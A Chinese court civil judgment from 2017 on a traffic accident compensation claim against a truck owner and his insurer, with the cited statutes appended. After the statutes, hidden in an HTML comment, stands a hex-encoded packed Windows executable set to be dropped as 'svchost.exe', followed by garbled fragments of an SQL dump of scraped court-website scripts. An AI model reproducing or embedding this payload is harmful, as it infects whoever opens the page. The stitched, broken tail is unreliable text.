海南省昌江黎族自治县人民法院
p t ; ” > 民 事 判 决 书
（2017）琼9026民初1503号
原告:郭军烂，男，1983年10月5日出生，汉族;昌江县”）昌化镇耐村村委会耐村二区37号。
委托诉��代理人：梁向东，河北咏远律师事务所律师。
被告：中国平安财产保险股份有限公司昌江支公司，住所地海南省昌江县石碌镇昌江大道东侧32号（中国银行旁）。
负责人：何顺波，该公司经理。
委托诉讼代理人：林樱子，海南瑞来律师事务所律师。
被告：ＸＸＸ，男，1968年3月13日出生，汉族，现住海南省昌江县。
原告郭军烂与被告ＸＸＸ、中国平安财产保险股份有限公司昌��支公司（以下至判决主文前简称”平安保险公司”）机动车交通事故责任纠纷一案，本院于2017年9月14日立案后，依法适用简易程序，公开开庭进行了审理。原告郭军烂及其委托诉讼代理人梁向东，被告平安保险公司的托诉讼代理人林樱子到庭参加诉讼。被告ＸＸＸ经本院合法传唤，无正当理由未到庭，本院依法缺席审理。本案现已审理终结。
原告郭军烂向本院提出诉讼请求：1.判令被告ＸＸＸ赔偿原告因道路交通事故造成的下列各项损失：医疗费、后续治疗费、住院伙食补助费、营养费、护理费、误工费、残疾赔偿金、被扶养人生活费、精神损害抚慰金、交通费、司法鉴定费等各项经济损失共计151807.48元；2.判令被告平安保险公司优先在×××号机动车交通事故责任强制保险（以下简称”交强险”）和商业第三者责任险（以下简称”商业三者险”）限额内对被告ＸＸＸ的赔偿责任承担保险赔偿责任；3.判令两被告承担案件受理费。事实和理由：2017年1月20日0时15分，原告驾驶×××号普通二轮摩托车，由昌化方向沿石昌线（石碌-
昌化）往石碌方向行驶。当车行驶至石昌线44KM+200M处时，适时遇有被告ＸＸＸ将×××号中型自卸货车停在路边。由于原告未确保安全行车，致使该车撞到停放在路边的×××号中型自卸货车的车尾部，造成原告受伤及两车不同程度损坏的道路交通事故。经认定，被告ＸＸＸ负事故次要责任，原告负事故主���责任。被告平安保险公司承保了×××号中型自卸货车的交强险和商业三者险（含不计免赔）。原告因本次交通事故造成损失如下：1.医疗费，住院治疗费41359.92元，门诊费2240.8元，共计43600.72元；2.后续治疗费，根据鉴定意见，颅脑后续治疗费75000元，牙齿前期治疗费8000元，后期更换5次，需40000元，共计115000元；3.住院伙食补助费2000元；4.营养费6000元；5.护理费10800元；6.误工费，11693.01元（28453元/年÷365天×150天）；7.残疾赔偿金56906元（28453元/年×20年×10%）；8.被扶养人生活费10458.25元〔（19015元/年×16年÷6×10%×2）+（19015元/年×1年÷6×10%）〕；9.精神损害抚慰金5000元；10.交通费800元；11.司法鉴定费2900元。以上损失共计265157.98元。根据法律规定，应由被告平安保险公司在交强险责任限额范围内赔偿医疗费用10000元、死亡伤残限额内赔偿95657.26元；交强险赔偿不足部分159500.72元，由被告ＸＸＸ承担30%的责任，即47850.22元。扣除已垫付的1700元，还应赔偿原告46150.22元，由被告平安保险公司在商业三者险范围内承担保险赔偿责任。综上，请求法院判如所请。
被告平安保险公司辩称，一、经核实，本案涉案车辆即被保险人车辆在平安保险公司投保交强险及商业三者险500000元（含不计免赔）。二、原告部分请求计算标准、方式有误，部分请求金额过高。1.医疗费，根据原告提交的海南省人民医院入院记录现病史记载，原告额部受伤是由于其11时左右在家中干活不慎从自家2楼楼梯上摔下导致。因此，原告额部受伤不是由于交通事故所致，其住院期间因治疗额部部分的医疗费应由原告承担。2.后续治疗费，因额部受伤不是交通事故所致，其后续治疗费不应由被告平安保险公司承担；牙齿等其他部位受伤是因交通事故所致，后续治疗费亦应待实际发生后再另行主张。3.营养费，原告额部受伤不是由于交通事故所致，其营养期应当以住院时间20日为依据更为恰当。4.住院伙食补助费，应当以100元每天，按20天计算。5.护理费，由于额部不是交通事故所致，应以住院时间20天作为护理期更为恰当，并以”服务业29637元/年”标准计算。6.交通费，因原告未提交证据予以佐证，应不予支持。7.残疾赔偿金，原告额部受伤与交通事故无关，主张残疾赔偿金不具有法律依据。即使是由交通事故造成，也不能按城镇标准计算。8.精神损害抚慰金，构成伤残等级的是颅脑损伤，而该部位受伤不是因交通事故所致，因此，原告主张精神损害抚慰金没有法律依据。9.误工费，应参照”农林牧渔业：28811元/年”标准，按住院天数20天计算。10.被扶养人生活费，因原告额部伤残不是由交通事故所致，其主张被扶养人生活费没有法律依据。即使是由交通事故所致，也只能按农村居民年人均消费性支出计算。被扶养人有数人的，年赔偿总额累计不得超过上一年度支出额，有数个扶养义务人的应当除以扶养义务人人数。11.诉讼费、鉴定费、不属于被告平安保险公司的承保范围，不应当由被告平安保险公司承担赔偿责任。
被告ＸＸＸ未到庭参加诉讼，亦未提交书面答辩意见，视为放弃答辩的权利。
本案当事人围绕诉讼请求依法提交了证据，本院组织当事人进行了举证、质证。原告向本院提交如下证据：1.原告身份证、户口本，证明原告的基本信息；2.被告ＸＸＸ驾驶证、×××号车机动车行驶证，证明被告ＸＸＸ具有合法的驾驶资格且被告ＸＸＸ为车辆所有人；3.×××号车交强险、商业险投保单、被告平安保险公司企业信用信息，证明被告平安保险公司的基本信息及承保了×××号车交强险和三者险，含不计免赔；4.道路���通事故认定书，证明道路交通事故发生的基本情况及被告ＸＸＸ负事故次要责任、原告负主要责任；5.昌江县人民医院住院病历、疾病证明书、住院收费票据1张、门诊收费票据2张、住院费用清单；海南省人民医院住院病历、疾病证明书、住院收费票据1张、门诊收费票据10张、住院费用清单，证明原告受伤在昌江县人民医院住院治疗1天，支出住院治疗费4586.59元，门诊费304元，原告转院到海南省人民医院住院治疗19天，支出住院费用36773.33元，门诊费1936.8元；6.司法鉴定意见书、门诊收费票据，证明原告因事故构成十级伤残，后续治疗费75000元，牙齿前期治疗需8000元、后期每10-15年更换；三期评定为误工期150天、护理期90天、营养期120天；支出司法鉴定费2900元；7.被扶养人关系证明、户口本、李开金残疾人证，证明被扶养人即原告父母的基本情况及被扶养年限。被告平���保险公司质证认为：对证据1-4三性无异议；对证据5真实性、合法性无异议，关联性有异议，有异议部分主要是针对原告额部受伤及花费医疗费及相关检查费用有异议，特别是根据海南省人民医院病历记录，当中现病史显示其额部受伤是由于其昨晚11点左右在家干活时不慎自二楼楼梯摔下额部先着地所导致；对证据6真实性、合法性无异议，关联性有异议，认为其颅脑损伤构成十级伤残以及颅脑损伤需要的后续治疗费均不属于交通事故所导致，是其自行摔伤所导致，因此该部分伤残等级、费用及三期与本案不具有关联性；对证据7真实性、合法性无异议，对关联性有异议，因本案原告没有因交通事故构成伤残，因此不存在被扶养人生活费。本院认为：证据1、2、3、4是真实、合法的，且被告平安保险公司质证无异议，本院予以确认。证据5是真实、合法的，且根据交通事故认定书认定的事故发生时间、住院病历资料等，可以确认原告因交通事故受伤住院花去医疗费用的事实，本院予以确认；被告平安保险公司以原告在海南省人民医院住院是自诉为摔伤，因此该部分治疗花去的医疗费用与本案无关的意见，本院不予采纳。证据6是真实、合法的，且根据原告提交的交通事故认定书、住院病历资料，可以确定原告受伤是因交通事故所致，故对该证据本院予以确认。证据7是真实、合法的，且根据交通事故认定书、住院病历等证据，可以认定原告所受伤是因交通事故所致，故对该证据予以确认；被告平安保险公司质证认为原告未因交通事故构成伤残，不存在被扶养人生活费的质证意见，本院不予采纳。
被告ＸＸＸ未出庭参加诉讼，亦未在法庭辩论终结前提供书面质证意见及证据材料，视为放弃举证、质证的权利。
根据当事人陈述和经审查确认的证据，本院认定法律事实如下：
2017年1月20日0时15分，郭军烂驾驶×××号普通二轮摩托车，由昌化方向沿石昌线（石碌-
昌化）往石碌方向行驶。当车行驶至石昌线44KM+200M处时，适时遇有ＸＸＸ将×××号中型自卸货车停放在路边。由于郭军烂未确保安全行车，致使该车撞到停放在路边的×××号中型自卸货车的尾部，造成郭军烂受伤及两车不同程度损坏的道路交通事故。昌江县公安局交通警察大队于2017年5月8日对该起事故作出昌公交认字[2017]第00007号《道路交通事故认定书》，认定郭军烂未戴头盔驾驶未年检车辆、未确保安全行车，负事故的主要责任；ＸＸＸ将反光标识不合格的货车、违反规定停在路边，负事故次要责任。事故发生后，郭军烂被送往昌江县人民医院住院治疗不足1天，并转院至海南省人民医院住院治疗19天，花去医疗费共计43600.72元。海南省人民医院法医鉴定中心于2017年8月10日作出琼省医鉴[2017]临鉴字第136号《司法���定意见书》，鉴定意见为：1.被鉴定人郭军烂因交通事故致颅脑损伤构成十级伤残；2.被鉴定人郭军烂后续颅脑治疗费约需柒万伍仟（75000.00）元，牙齿前期治疗费约需捌仟（8000.00）、后期冠修复需10-15年更换；3.被鉴定人郭军烂”三期”综合评定为：休息150日，护理90日，营养120日。鉴定费2900元。
郭军烂于1983年10月5日出生，为农业家庭户口，事故发生时生活在农村。郭军烂父亲郭仁二于1953年7月10日出生、母亲李开金于1954年5月20日出生，共生育6个子女（均健在）。事故发生后，ＸＸＸ垫付了1700元给郭军烂。李���国停放在路边的×××号中型自卸货车在平安保险公司投保交强险及商业三者险500000元（含不计免赔），事故发生时在保险期限内。
本院认为，本案系机动车交通事故责任纠纷。本案的争议焦点为：
一、关于原告各项损失如何计算的问题。本案中，经本院审理确定原告的各项损失为：1.医疗费用，根据原告���交的医疗住院、门诊收费发票等证据，本院认定原告医疗费用为43600.72元。被告平安保险公司辩称原告额部受伤不是由于交通事故所致，其住院期间因治疗额部部分的医疗费应由原告承担的辩解意见，缺乏事实依据，本院不予采纳。2.后续治疗费，根据鉴定意见，原告后续颅脑治疗费约需75000元，前期牙齿根管治疗2000元及冠修复6000元共计8000元，本院予以确认。关于牙齿后期治疗费，根据鉴定意见，牙齿的管修复周期为10年至15年，由于更换周期较长，可待实际产生后再另行起主张，故对于原告主张的后续治疗费超出部分，本院不予支持。3.住院伙食补助费，根据原告提交的住院病案首页等证据，本院确定原告住院天数为20天，故原告主张住院伙食补助费2000元（100元/天×20天），符合法律规定，本院予以支持。4.营养费，根据鉴定意见营养期为120天，故原告营养费应为6000元（50元/天×120天）。被告平安保险公司认为原告额部的伤不是由于机动车交通事故所致，营养费应按住院天数20日计算为宜的辩解意见，理由不成立，本院不予采纳。5.护理费，根据鉴定意见护理期为90日，参照”居民服务、修理和其他服务业：29537元/年”标准计算，原告的护理费应为7283.1元（29537元/年÷365天×90天）。原告主张按每天120元计算护理费，但未提供证据予以佐证，故对于原告主张护理费超出部分，本院不予支持。被告平安保险公司认为应按住院天数20日计算护理费的辩解意见，本院不予采纳。6.误工费，根据鉴定意见本院确定误工期为150天，原告主张按”28453元/年”标准计算误工费，未违反法律规定，本院予以照准，故原告主张误工费11693.01元（28453元/年÷365天×150天）符合法律规定，本院予以支持。被告平安保险公司辩称原告误工费应按住院天数20天计算的辩解意见，理由不成立，本院不予采纳。7.残疾赔偿金，原告事故发生时为家庭户口，居住在农村，根据鉴定意见原告因本次交通事故致十级伤残，故参照海南省上一年度”农村常住居民人均可支配收入：11843元/年”计算，原告残疾赔偿金为23686元（11843元/年×20年×10%）。原告主张按城镇标准计算，但提供的证据不足以证明其在城镇居住满一年以上，且收入来源于城镇等事实，故对于原告主张残疾赔偿金超出部分，本院不予支持。8.被扶养人生活费，郭军烂父亲郭仁二于1953年7月10日出生、母亲李开金于1954年5月20日出生，均为农村，共生育6个子女，至定残日（2017年8月10日）扶养年限分别为16年、17年，参照”农村居民人均年生活消费支出：8921元/年”标准计算，被扶养人生活费为4906.55元〔（8921元/年×16年×10%÷6人）+（8921元/年×17年×10%÷6人）〕。原告主张按城镇标准计算，但未提供证据证明其在城镇居住满一年以上，且收入来源于城镇等事实，故对于原告主张被扶养人生活费超出部分，本院不予支持。9.精神损害抚慰金，根据鉴定意见，原告因本次交通事故受伤致十级伤残，本院认为原告在交通事故中负主要责任，故本院酌定精神损害抚慰金为1500元。对于原告主张精神损害抚慰金超出部分，本院不予支持。10.交通费，原告虽未提交交通费发票等证据，但考虑到原告到海南省人民医院住院治疗19天，必然产生一定的交通费，故本院酌定交通费为480元。对于原告主张交通费超出部分，本院不予支持。11.司法鉴定费，根据原告提交的司法鉴定费发票，本院确定司法鉴定费为2900元。综上，原告以上各项损失共计187049.38元���
二、关于本案民事责任如何承担的问题。本案中，根据交警部门的认定，原告负事故主要责任，被告ＸＸＸ负事故次要责任，结合事故发生的过程及双方过错程度，本院酌定由原告自行承担70%的责任，由被告ＸＸＸ承担30%的责任。根据《中华人民共和国道路交通安全法》第七十六条第一款及《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条规定，由于涉案的×××号中型自卸货车在被告平安保险公司投保交强险和商业三者险500000元，故首先应由被告平安保险公司应在交强险医疗费用赔偿限额项下10000元范围内赔偿原告医疗费、后续治疗费、住院伙食补助费、营养费共计10000元，在死亡伤残赔偿限额项下110000元范围内赔偿原告护理费7283.1元、误工费11693.01元、残疾赔偿金23686元、被扶养人生活费4906.55元、交通费480、精神损害抚慰金1500元等共计49548.66元。交强险赔偿不足分124600.72元（医疗费用43600.72元+后续治疗费83000元+住院伙食补助费2000元+营养费6000元-交强险医疗费用赔偿限额10000元），由被告平安保险公司在商业三者险责任限额范围内承担30%的责任，即37380.22元（124600.72元×30%）。关于司法鉴定费及案件受理费的问题。由于司法鉴定费及诉讼费（案件受理费）不属于保险公司承保范围，故应由原告与被告ＸＸＸ按责任比例负担，即由被告ＸＸＸ负担999元〔（2900元×30%）+（430元×30%）〕，由原告自行负担2331元〔（2900元×70%��+（430元×70%）〕。综上，被告平安保险公司应赔偿原告各项损失共计96928.88元，扣除被告ＸＸＸ垫付的1700元，被告平安保险公司还应赔偿原告95228.88元。对于原告主张的其他各项损失超出部分，本院不予支持。
综上所述，依照《中华人民共和国道路交通安全法》第七十六条第一款，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条，《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条��第二十八条，《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第一条、第十条、第十一条，《中华人民共和国民事诉讼法》第十三条、第一百四十四条以及《最高人民法院关于适用<中华人民共和国民事诉讼法>的解释》第九十条规定，判决如下：
一、被告中国平安财产保险股份有限公司昌江支公司在保险责任限额范围内赔偿原告郭军烂各项损失共计95228.88元，限于本判决生效之日起十五日内一次性付清。
二、驳回原告郭军烂的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。
案件受理费860元，按规定减半收取计430元及鉴定费2900元，由原告郭军烂负担2331元，由被告ＸＸＸ负担999元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省第二中级人民法院。
审判员张作骏
二〇一七年十二月四日
书记员徐金波
附：本案适用的相关法律条文
《中华人民共和国道路交通安全法》
第七十六条机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿；不足的部分，按照下列规定承担赔偿责任：
（一）机动车之间发生交通事故的，由有过错的一方承担赔偿责任；双方都有过错的，按照各自过错的比例分担责任。
（二）机动车与非机动车驾驶人、行人之间发生交通事故，非机动车驾驶人、行人没有过错的，由机动车一方承担赔偿责任；有证据证明非机动车驾驶人、行人有过错的，根据过错程度适当减轻机动车一方的赔偿责任；机动车一方没有过错的，承担不超过百分之十的赔偿责任。
交通事故的损失是由非机动车驾驶人、行人故意碰撞机动车造成的，机动车一方不承担赔偿责任。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》
第十六条同时投保机动车第三者责任强制保险（以下简称”交强险”）和第三者责任商业保险（以下简称”商业三者险”）的机动车发生交通事故造成损害，当事人同时起诉侵权人和保险公司的，人民法院应当按照下列规则确定赔偿责任：
（一）先由承保交强险的保险公司在责任限额范围内予以赔偿；
（二）不足部分，由承保商业三者险的保险公司根据保险合同予以赔偿；
（三）仍有不足的，依照道路交通安全法和侵权责任法的相关规定由侵权人予以赔偿。
被侵权人或者其近亲属请求承保交强险的保险公司优先赔偿精神损害的，人民法院应予支持。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应当承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十条误工费根据受害人的误工时间和收入状况确定。
误工时间根据受害人接受治疗的医疗机构出具的证明确定。受害人因伤致残持续误工的，误工时间可以计算至定残日前一天。
受害人有固定收入的，误工费按照实际减少的收入计算。受害人无固定收入的，按照其最近三年的平均收入计算；受害人不能举证证明其最近三年的平均收入状况的，可以参照受诉法院所在地相同或者相近行业上一年度职工的平均工资计算。
第二十一条护理费根据护理人员的收入状况和护理人数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
护理期限应计算至受害人恢复生活自理能力时为止。受害人因残疾不能恢���生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不得超过二十年。
受害人定残后的护理，应当根据其护理依赖程度并结合配置残疾辅助器具的情况确定护理级别。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差补助标准予以确定。
受害人确有必要到外地治疗，因客观原因不能住院，受害人本人及其陪护人员实际发生的住宿费和伙食费，其合理部分应予赔偿。
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
受害人因伤致残但实际收入没有减少，或者伤残等级较轻但造成职业妨害严重影响其劳动就业的，可以对残疾赔偿金作相应调整。
第二十六条残疾辅助器具费按照普通适用器具的合理费用标准计算。伤情有特殊需要的，可以参照辅助器具配制机构的意见确定相应的合理费用标准。
辅助器具的更换周期和赔偿期限参照配制机构的意见确定。
第二十八条被扶养人生活费根据扶养人丧失劳动能力程度，按照受诉法院所在地上一年度城镇居民人均消费性支出和农村居民人均年生活消费支出标准计算。被扶养人为未成年人的，计算至十八周岁；被扶养人无劳动能力又无其他生活来源的，计算二十年。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
被扶养人是指受害人依法应当承担扶养义务的未成年人或者丧失劳动能力又无其他生活来源的成年近亲属。被扶养人还有其他扶养人的，赔偿义务人只赔偿受害人依法应当负担的部分。被扶养人有数人的，年赔偿总额累计不超过上一年度城镇居民人均消费性支出额或者农村居民人均年生活消费支出额。
《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》
第一条自然人因下列人格权利遭受非法侵害，向人民法院起诉请求赔偿精神损害的，人民法院应当依法予以受理：
（一）生命权、健康权、身体权；
（二）姓名权、肖像权、名誉权、荣誉权；
（三）人格尊严权、人身自由权。
违反社会公共利益、社会公德侵害他人隐私或者其他人格利益，受害人以侵权为由向人民法院起诉请求赔偿精神损害的，人民法院应当依法予以受理。
第十条精神损害的赔偿数额根据���下因素确定：
（一）侵权人的过错程度，法律另有规定的除外；
（二）侵害的手段、场合、行为方式等具体情节；
（三）侵权行为所造成的后果；
（四）侵权人的获利情况；
（五）侵权人承担责任的经济能力；
（六）受诉法院所在地平均生活水平。
法律、行政法规对残疾赔偿金、死亡赔偿金等有明确规定的，适用法律、行政法规的规定。
第十一条受害人对损害事实和损害后果的发生有过错的，可以根据其过错程度减轻或者免除侵权人的精神损害赔偿责任。
《中华人民共和国民事诉讼法》
第十三规定民事诉讼应当遵守诚实信用原则。
当事人有权在法律规定的范围内处分自己的民事权利和诉���权利。
第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决。
《最高人民法院关于适用<中华人民共和国民事诉讼���>的解释》
第九十条当事人对自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实，应当提供证据加以证明，但法律另有规定的除外。
在作出判决前���当事人未能提供证据或者证据不足以证明其事实主张的，由负有举证证明责任的当事人承担不利的后果。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF','2018-09-22
10:03:47',0,'web',NULL),(10423765,'47aa9833-9b77-4340-9dac-a8090129f6e1','$(function(){$(\"#con_llcs\").html(\"浏览：76次\")});$(function(){$(\"#hidRequireLogin\").val(\"0\");$(\"#Content\").html(\"此篇文书不存在!\");});$(function(){});','2018-09-22
10:03:47',0,'web',NULL),(10423766,'0b5bc2ea-0486-4ce7-baa4-a7fc0089d51a','$(function(){$(\"#con_llcs\").html(\"浏览：100次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"1564\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"\",\"案号\":\"（2014）招执字第939号\",\"不公开理由\":\"\",\"法院地市\":\"烟台市\",\"法院省份\":\"山东\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"0b5bc2ea-0486-4ce7-baa4-a7fc0089d51a\",\"案件名称\":\"申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿合一案执行裁定书\",\"法院名称\":\"招远市人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"招远市\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"本院在执行申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿纠纷一案中，查明被执行人无财产可供执行，申请执行人也提供不出被执行人有可供执行的财产状况或线索\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1531584000000)\\\/\",\"案件类型\":\"5\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿合一案执行裁定书\");$(\"#tdSource\").html(\"申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿合一案执行裁定书
（2014）招执字第939号\");$(\"#hidDocID\").val(\"0b5bc2ea-0486-4ce7-baa4-a7fc0089d51a\");$(\"#hidCaseName\").val(\"申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿合一案执行裁定书\");$(\"#hidCaseNumber\").val(\"（2014）招执字第939号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"招远市人民法院\");$(\"#hidCaseType\").val(\"5\");$(\"#HidCourtID\").val(\"1564\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"招远市人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"执行案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"裁判日期\", key: \"trialDate\", value: \"2017-09-25\" },{ name:
\"当事人\", key: \"appellor\", value: \"王秀芹,邹俊娜,邹巧娜,曲俊刚,曲建胜\" }],LegalBase:
[]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"申请执行人王秀芹、邹俊娜、邹巧娜与被执行人曲俊刚、曲建胜民事赔偿合一案执行裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-07-15\\\\\",\\\\\